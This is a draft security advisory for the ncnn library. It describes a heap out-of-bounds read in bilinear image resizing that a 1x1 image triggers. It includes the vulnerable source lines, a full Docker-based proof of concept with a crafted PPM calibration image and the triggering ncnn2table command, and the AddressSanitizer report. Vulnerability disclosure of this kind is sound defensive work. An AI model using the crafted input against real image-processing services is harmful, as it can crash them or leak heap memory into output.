All advisories
Draft

Heap Out-of-Bounds Read During Image Resize

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Heap Out-of-Bounds Read During Image Resize

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/mat_pixel_resize.cpp:727 in resize_bilinear_c3
Sanitizer verdict: heap-buffer-overflow

Summary

resize_bilinear_c3 clamps each source coordinate to srcw - 2 / srch - 2 so that a bilinear pair is always available, which is negative for an image smaller than 2x2. A 1x1 RGB calibration image therefore produces xofs[dx] = -3 and the horizontal filter dereferences S1p[0] three bytes before the decoded pixel buffer. The entry point is ncnn2table, which decodes every path in the calibration list with its bundled cv::imread and resizes it to the configured shape= through Mat::from_pixels_resize; the same public API is reachable from any application that resizes attacker-supplied images.

Detail

The untrusted quantity is the decoded image geometry — bgr.cols and bgr.rows from the attacker's calibration file — which read_and_resize_image passes into ncnn::Mat::from_pixels_resize(bgr.data, pixel_convert_type, bgr.cols, bgr.rows, target_w, target_h) at tools/quantize/ncnn2table.cpp:465 with no minimum-size check. resize_bilinear_c3 then builds its coordinate tables:

// src/mat_pixel_resize.cpp:626
        if (sx < 0)
        {
            sx = 0;
            fx = 0.f;
        }
        if (sx >= srcw - 1)
        {
            sx = srcw - 2;
            fx = 1.f;
        }

        xofs[dx] = sx * 3;

// src/mat_pixel_resize.cpp:706
                const unsigned char* S1p = S1 + sx;

// src/mat_pixel_resize.cpp:727
                rows1p[0] = (S1p[0] * a0 + S1p[3] * a1) >> 4;
                rows1p[1] = (S1p[1] * a0 + S1p[4] * a1) >> 4;
                rows1p[2] = (S1p[2] * a0 + S1p[5] * a1) >> 4;

The two clamps are ordered so the upper one wins: the lower clamp raises a negative sx to 0, and the following sx >= srcw - 1 test then rewrites it to srcw - 2. That expression assumes at least two source columns. For srcw == 1 every dx yields sx = -1 and xofs[dx] = -3. The vertical table is clamped identically, so sy = srch - 2 = -1.

In the row loop prev_sy1 starts at -2, so the first dy iteration matches sy == prev_sy1 + 1 and takes the single-row branch with S1 = src + srcstride * (sy + 1), i.e. the start of the buffer. S1p = S1 + sx is then src - 3, and line 727 reads S1p[0] three bytes before the 72-byte allocation cv::imread made for the 1x1x3 image — exactly the offset and region in the ASan report. The subsequent S1p[3]/S1p[4]/S1p[5] accesses fall back inside the buffer, so the out-of-bounds bytes are blended into the resized output rather than merely crashing when the preceding page is mapped.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-heap-out-of-bounds-read-during-image-resize && cd ncnn-poc-heap-out-of-bounds-read-during-image-resize

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > model.param <<'EOF'
7767517
2 2
Input data 0 1 data
Convolution conv 1 1 data out 0=1 1=1 6=1
EOF

base64 -d > model.bin <<'EOF'
VsACAAAAgD8=
EOF

cat > poc.ppm <<'EOF'
P6
1 1
255
abc
EOF

cat > images.txt <<'EOF'
poc.ppm
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/quantize/ncnn2table model.param model.bin images.txt out.table \
  'mean=[0]' 'norm=[1]' 'shape=[224,224,3]' 'pixel=BGR' method=aciq

AddressSanitizer output:

mean = [0.000000]
norm = [1.000000]
shape = [224,224,3]
pixel = BGR
thread = 24
method = aciq
---------------------------------------
count the absmax 0.00% [ 0 / 1 ]
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e0000001fd at pc 0x5821847316ab bp 0x7ffe469b4680 sp 0x7ffe469b4670
READ of size 1 at 0x50e0000001fd thread T0
    #0 0x5821847316aa in ncnn::resize_bilinear_c3(unsigned char const*, int, int, int, unsigned char*, int, int, int) /ncnn/src/mat_pixel_resize.cpp:727
    #1 0x58218471f622 in ncnn::Mat::from_pixels_resize(unsigned char const*, int, int, int, int, int, int, ncnn::Allocator*) /ncnn/src/mat_pixel.cpp:2556
    #2 0x58218471ebcb in ncnn::Mat::from_pixels_resize(unsigned char const*, int, int, int, int, int, ncnn::Allocator*) /ncnn/src/mat_pixel.cpp:2530
    #3 0x582184602298 in read_and_resize_image(std::vector<int, std::allocator<int> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, int) (/ncnn/build/tools/quantize/ncnn2table+0x2fd298) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
    #4 0x5821845d57c3 in QuantNet::quantize_ACIQ() /ncnn/tools/quantize/ncnn2table.cpp:1318
    #5 0x5821845f26e1 in main /ncnn/tools/quantize/ncnn2table.cpp:2233
    #6 0x7152f2d311c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x7152f2d3128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x5821845aabe4 in _start (/ncnn/build/tools/quantize/ncnn2table+0x2a5be4) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)

0x50e0000001fd is located 3 bytes before 72-byte region [0x50e000000200,0x50e000000248)
allocated by thread T0 here:
    #0 0x7152f33aaf1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x5821846812de in fastMalloc /ncnn/src/allocator.h:62
    #2 0x5821846812de in cv::Mat::create(int, int, int) /ncnn/tools/quantize/imreadwrite.h:109
    #3 0x58218467fccb in cv::imread(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, int) /ncnn/tools/quantize/imreadwrite.cpp:65
    #4 0x582184601e79 in read_and_resize_image(std::vector<int, std::allocator<int> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, int) (/ncnn/build/tools/quantize/ncnn2table+0x2fce79) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
    #5 0x5821845d57c3 in QuantNet::quantize_ACIQ() /ncnn/tools/quantize/ncnn2table.cpp:1318
    #6 0x5821845f26e1 in main /ncnn/tools/quantize/ncnn2table.cpp:2233
    #7 0x7152f2d311c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x7152f2d3128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x5821845aabe4 in _start (/ncnn/build/tools/quantize/ncnn2table+0x2a5be4) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)

SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/mat_pixel_resize.cpp:727 in ncnn::resize_bilinear_c3(unsigned char const*, int, int, int, unsigned char*, int, int, int)

Credit

Zheng Yu @ DepthFirst